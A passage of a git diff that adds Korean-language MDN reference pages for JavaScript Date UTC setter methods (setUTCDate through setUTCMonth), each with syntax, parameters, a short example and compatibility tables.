+ <td>{{SpecName('ES6', '#sec-date.prototype.settime', 'Date.prototype.setTime')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-date.prototype.settime', 'Date.prototype.setTime')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getTime()")}}</li>
+ <li>{{jsxref("Date.prototype.setUTCHours()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/date/setutcdate/index.html b/files/ko/web/javascript/reference/global_objects/date/setutcdate/index.html
new file mode 100644
index 0000000000..28c1ef3835
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/date/setutcdate/index.html
@@ -0,0 +1,126 @@
+---
+title: Date.prototype.setUTCDate()
+slug: Web/JavaScript/Reference/Global_Objects/Date/setUTCDate
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/setUTCDate
+---
+<div>{{JSRef}}</div>
+
+<p><strong>setUTCDate()</strong> 메서드는 표준시에 따라 지정된 날짜의 날짜를 설정합니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.setUTCDate(<var>dayValue</var>)</code></pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>dayValue</code></dt>
+ <dd>한 달의 날짜를 나타내는 1에서 31 사이의 정수입니다.</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>1970 년 1 월 1 일 00:00:00 UTC와 업데이트 된 날짜 사이의 밀리 초 숫자입니다.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>지정한 매개 변수가 예상 범위를 벗어난 경우 setUTCDate ()는 그에 따라 {{jsxref ( "Date")}} 객체의 날짜 정보를 업데이트하려고 시도합니다. 예를 들어, dayValue에 40을 사용하고 {{jsxref ( "Date")}} 객체에 저장된 달이 6 월이면 일이 10으로 변경되고 월이 7 월로 증가합니다.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Using_setUTCDate()">Using <code>setUTCDate()</code></h3>
+
+<pre class="brush: js">var theBigDay = new Date();
+theBigDay.setUTCDate(20);
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Initial definition. Implemented in JavaScript 1.3.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.9.5.37', 'Date.prototype.setUTCDate')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-date.prototype.setutcdate', 'Date.prototype.setUTCDate')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-date.prototype.setutcdate', 'Date.prototype.setUTCDate')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getUTCDate()")}}</li>
+ <li>{{jsxref("Date.prototype.setDate()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/date/setutcfullyear/index.html b/files/ko/web/javascript/reference/global_objects/date/setutcfullyear/index.html
new file mode 100644
index 0000000000..8410c68faa
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/date/setutcfullyear/index.html
@@ -0,0 +1,132 @@
+---
+title: Date.prototype.setUTCFullYear()
+slug: Web/JavaScript/Reference/Global_Objects/Date/setUTCFullYear
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/setUTCFullYear
+---
+<div>{{JSRef}}</div>
+
+<p><strong>setUTCFullYear()</strong> 메서드는 지정된 날짜의 전체 연도를 표준시에 따라 설정합니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.setUTCFullYear(<var>yearValue</var>[, <var>monthValue</var>[, <var>dayValue</var>]])</code></pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>yearValue</code></dt>
+ <dd>연도의 숫자 값을 지정하는 정수입니다 (예 : 1995).</dd>
+ <dt><code>monthValue</code></dt>
+ <dd>선택 과목. 1 월에서 12 월까지의 월을 나타내는 0에서 11 사이의 정수입니다.</dd>
+ <dt><code>dayValue</code></dt>
+ <dd>선택 과목. 한 달의 날짜를 나타내는 1 - 31 사이의 정수입니다. dayValue 매개 변수를 지정하는 경우 monthValue도 지정해야합니다.</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>1970 년 1 월 1 일 00:00:00 UTC와 업데이트 된 날짜 사이의 밀리 초 숫자입니다.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>monthValue 및 dayValue 매개 변수를 지정하지 않으면 {{jsxref ( "Date.prototype.getUTCMonth ()", "getUTCMonth()")}} 및 {{jsxref("Date.prototype.getUTCDate)","getUTCDate()")}} 메소드가 사용됩니다.</p>
+
+<p>지정한 매개 변수가 예상 범위를 벗어난 경우 setUTCFullYear ()는 다른 매개 변수와 {{jsxref("Date")}} 객체의 날짜 정보를 그에 따라 업데이트하려고 시도합니다. 예를 들어, monthValue에 15를 지정하면 연도가 1 (yearValue + 1)만큼 증가하고 3은 해당 월에 사용됩니다.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Using_setUTCFullYear()">Using <code>setUTCFullYear()</code></h3>
+
+<pre class="brush: js">var theBigDay = new Date();
+theBigDay.setUTCFullYear(1997);
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Initial definition. Implemented in JavaScript 1.3.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.9.5.41', 'Date.prototype.setUTCFullYear')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-date.prototype.setutcfullyear', 'Date.prototype.setUTCFullYear')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-date.prototype.setutcfullyear', 'Date.prototype.setUTCFullYear')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getUTCFullYear()")}}</li>
+ <li>{{jsxref("Date.prototype.setFullYear()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/date/setutchours/index.html b/files/ko/web/javascript/reference/global_objects/date/setutchours/index.html
new file mode 100644
index 0000000000..dae2e10373
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/date/setutchours/index.html
@@ -0,0 +1,134 @@
+---
+title: Date.prototype.setUTCHours()
+slug: Web/JavaScript/Reference/Global_Objects/Date/setUTCHours
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/setUTCHours
+---
+<div>{{JSRef}}</div>
+
+<p>setUTCHours () 메서드는 표준시에 따라 지정된 날짜의 시간을 설정하고 1970 년 1 월 1 일 00:00:00 UTC 이후 업데이트 된 {{jsxref ( "Date")}}에 의해 표시되는 시간 (밀리 초)을 반환합니다. 예.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.setUTCHours(<var>hoursValue</var>[, <var>minutesValue</var>[, <var>secondsValue</var>[, <var>msValue</var>]]])</code></pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>hoursValue</code></dt>
+ <dd>시를 나타내는 0에서 23 사이의 정수입니다.</dd>
+ <dt><code>minutesValue</code></dt>
+ <dd>선택 과목. 분을 나타내는 0에서 59 사이의 정수입니다.</dd>
+ <dt><code>secondsValue</code></dt>
+ <dd>선택 과목. 초를 나타내는 0에서 59 사이의 정수입니다. secondsValue 매개 변수를 지정하면 minutesValue도 지정해야합니다.</dd>
+ <dt><code>msValue</code></dt>
+ <dd>선택 과목. 밀리 초를 나타내는 0에서 999 사이의 숫자입니다. msValue 매개 변수를 지정하는 경우 minutesValue 및 secondsValue도 지정해야합니다.</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>1970 년 1 월 1 일 00:00:00 UTC와 업데이트 된 날짜 사이의 밀리 초 숫자입니다.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>minutesValue, secondsValue 및 msValue 매개 변수를 지정하지 않으면 {{jsxref ( "Date.prototype.getUTCMinutes()", "getUTCMinutes()")}}, {{jsxref("Date.prototype .getUTCSeconds() ","getUTCSeconds()")}} 및 {{jsxref("Date.prototype.getUTCMilliseconds() ","getUTCMilliseconds()")}} 메소드가 사용됩니다.</p>
+
+<p>지정한 매개 변수가 예상 범위를 벗어나면 setUTCHours ()는 그에 따라 {{jsxref("Date")}} 객체의 날짜 정보를 업데이트하려고 시도합니다. 예를 들어 secondsValue에 100을 사용하면 분은 1 (minutesValue + 1)만큼 증가하고 40은 초 단위로 사용됩니다.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Using_setUTCHours()">Using <code>setUTCHours()</code></h3>
+
+<pre class="brush: js">var theBigDay = new Date();
+theBigDay.setUTCHours(8);
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Initial definition. Implemented in JavaScript 1.3.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.9.5.35', 'Date.prototype.setUTCHours')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-date.prototype.setutchours', 'Date.prototype.setUTCHours')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-date.prototype.setutchours', 'Date.prototype.setUTCHours')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getUTCHours()")}}</li>
+ <li>{{jsxref("Date.prototype.setHours()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/date/setutcmilliseconds/index.html b/files/ko/web/javascript/reference/global_objects/date/setutcmilliseconds/index.html
new file mode 100644
index 0000000000..8f93cc7875
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/date/setutcmilliseconds/index.html
@@ -0,0 +1,126 @@
+---
+title: Date.prototype.setUTCMilliseconds()
+slug: Web/JavaScript/Reference/Global_Objects/Date/setUTCMilliseconds
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/setUTCMilliseconds
+---
+<div>{{JSRef}}</div>
+
+<p><strong>setUTCMilliseconds()</strong> 메서드는 표준시에 따라 지정된 날짜의 밀리 초를 설정합니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.setUTCMilliseconds(<var>millisecondsValue</var>)</code></pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>millisecondsValue</code></dt>
+ <dd>밀리 초를 나타내는 0에서 999 사이의 숫자입니다.</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>1970 년 1 월 1 일 00:00:00 UTC와 업데이트 된 날짜 사이의 밀리 초 숫자입니다.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>지정한 매개 변수가 예상 범위를 벗어난 경우 setUTCMilliseconds ()는 그에 따라 {{jsxref ( "Date")}} 객체의 날짜 정보를 업데이트하려고 시도합니다. 예를 들어 millisecondsValue에 1100을 사용하면 {{jsxref ( "Date")}} 객체에 저장된 초가 1 씩 증가하고 100은 밀리 초 단위로 사용됩니다.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Using_setUTCMilliseconds()">Using <code>setUTCMilliseconds()</code></h3>
+
+<pre class="brush: js">var theBigDay = new Date();
+theBigDay.setUTCMilliseconds(500);
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Initial definition. Implemented in JavaScript 1.3.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.9.5.29', 'Date.prototype.setUTCMilliseconds')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-date.prototype.setutcmilliseconds', 'Date.prototype.setUTCMilliseconds')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-date.prototype.setutcmilliseconds', 'Date.prototype.setUTCMilliseconds')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getUTCMilliseconds()")}}</li>
+ <li>{{jsxref("Date.prototype.setMilliseconds()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/date/setutcminutes/index.html b/files/ko/web/javascript/reference/global_objects/date/setutcminutes/index.html
new file mode 100644
index 0000000000..c39b343935
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/date/setutcminutes/index.html
@@ -0,0 +1,132 @@
+---
+title: Date.prototype.setUTCMinutes()
+slug: Web/JavaScript/Reference/Global_Objects/Date/setUTCMinutes
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/setUTCMinutes
+---
+<div>{{JSRef}}</div>
+
+<p><strong>setUTCMinutes()</strong> 메서드는 표준시에 따라 지정된 날짜의 분을 설정합니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.setUTCMinutes(<var>minutesValue</var>[, <var>secondsValue</var>[, <var>msValue</var>]])</code></pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>minutesValue</code></dt>
+ <dd>분을 나타내는 0에서 59 사이의 정수입니다.</dd>
+ <dt><code>secondsValue</code></dt>
+ <dd>선택 과목. 초를 나타내는 0에서 59 사이의 정수입니다. secondsValue 매개 변수를 지정하면 minutesValue도 지정해야합니다.</dd>
+ <dt><code>msValue</code></dt>
+ <dd>선택 과목. 밀리 초를 나타내는 0에서 999 사이의 숫자입니다. msValue 매개 변수를 지정하는 경우 minutesValue 및 secondsValue도 지정해야합니다.</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>1970 년 1 월 1 일 00:00:00 UTC와 업데이트 된 날짜 사이의 밀리 초 숫자입니다.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>secondsValue 및 msValue 매개 변수를 지정하지 않으면 {{jsxref ( "Date.prototype.getUTCSeconds()", "getUTCSeconds()")}} 및 {{jsxref ("Date.prototype.getUTCMilliseconds","getUTCMilliseconds()")}} 메소드가 사용됩니다.</p>
+
+<p>지정한 매개 변수가 예상 범위를 벗어나면 setUTCMinutes ()는 그에 따라 {{jsxref("Date")}} 객체의 날짜 정보를 업데이트하려고 시도합니다. 예를 들어 secondsValue에 100을 사용하면 분은 1 (minutesValue + 1)만큼 증가하고 40은 초 단위로 사용됩니다.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Using_setUTCMinutes()">Using <code>setUTCMinutes()</code></h3>
+
+<pre class="brush: js">var theBigDay = new Date();
+theBigDay.setUTCMinutes(43);
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Initial definition. Implemented in JavaScript 1.3.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.9.5.33', 'Date.prototype.setUTCMinutes')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-date.prototype.setutcminutes', 'Date.prototype.setUTCMinutes')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-date.prototype.setutcminutes', 'Date.prototype.setUTCMinutes')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getUTCMinutes()")}}</li>
+ <li>{{jsxref("Date.prototype.setMinutes()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/date/setutcmonth/index.html b/files/ko/web/javascript/reference/global_objects/date/setutcmonth/index.html
new file mode 100644
index 0000000000..266112be92
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/date/setutcmonth/index.html
@@ -0,0 +1,130 @@
+---
+title: Date.prototype.setUTCMonth()
+slug: Web/JavaScript/Reference/Global_Objects/Date/setUTCMonth
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/setUTCMonth
+---
+<div>{{JSRef}}</div>
+
+<p>setUTCMonth () 메서드는 표준시에 따라 지정된 날짜의 월을 설정합니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.setUTCMonth(<var>monthValue</var>[, <var>dayValue</var>])</code></pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>monthValue</code></dt>
+ <dd>1 월에서 12 월까지의 월을 나타내는 0에서 11 사이의 정수입니다.</dd>
+ <dt><code>dayValue</code></dt>
+ <dd>선택 과목. 한 달의 날짜를 나타내는 1에서 31 사이의 정수입니다.</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>1970 년 1 월 1 일 00:00:00 UTC와 업데이트 된 날짜 사이의 밀리 초 숫자입니다.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>dayValue 매개 변수를 지정하지 않으면 {{jsxref("Date.prototype.getUTCDate()", "getUTCDate()")}} 메서드에서 반환 된 값이 사용됩니다.</p>
+
+<p>지정한 매개 변수가 예상 범위를 벗어난 경우 setUTCMonth()는 그에 따라 {{jsxref("Date")}} 객체의 날짜 정보를 업데이트하려고 시도합니다. 예를 들어 monthValue에 15를 사용하면 연도가 1 씩 증가하고 3은 월에 사용됩니다.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Using_setUTCMonth()">Using <code>setUTCMonth()</code></h3>
+
+<pre class="brush: js">var theBigDay = new Date();
+theBigDay.setUTCMonth(11);
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Initial definition. Implemented in JavaScript 1.3.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.9.5.39', 'Date.prototype.setUTCMonth')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-date.prototype.setutcmonth', 'Date.prototype.setUTCMonth')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-date.prototype.setutcmonth', 'Date.prototype.setUTCMonth')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
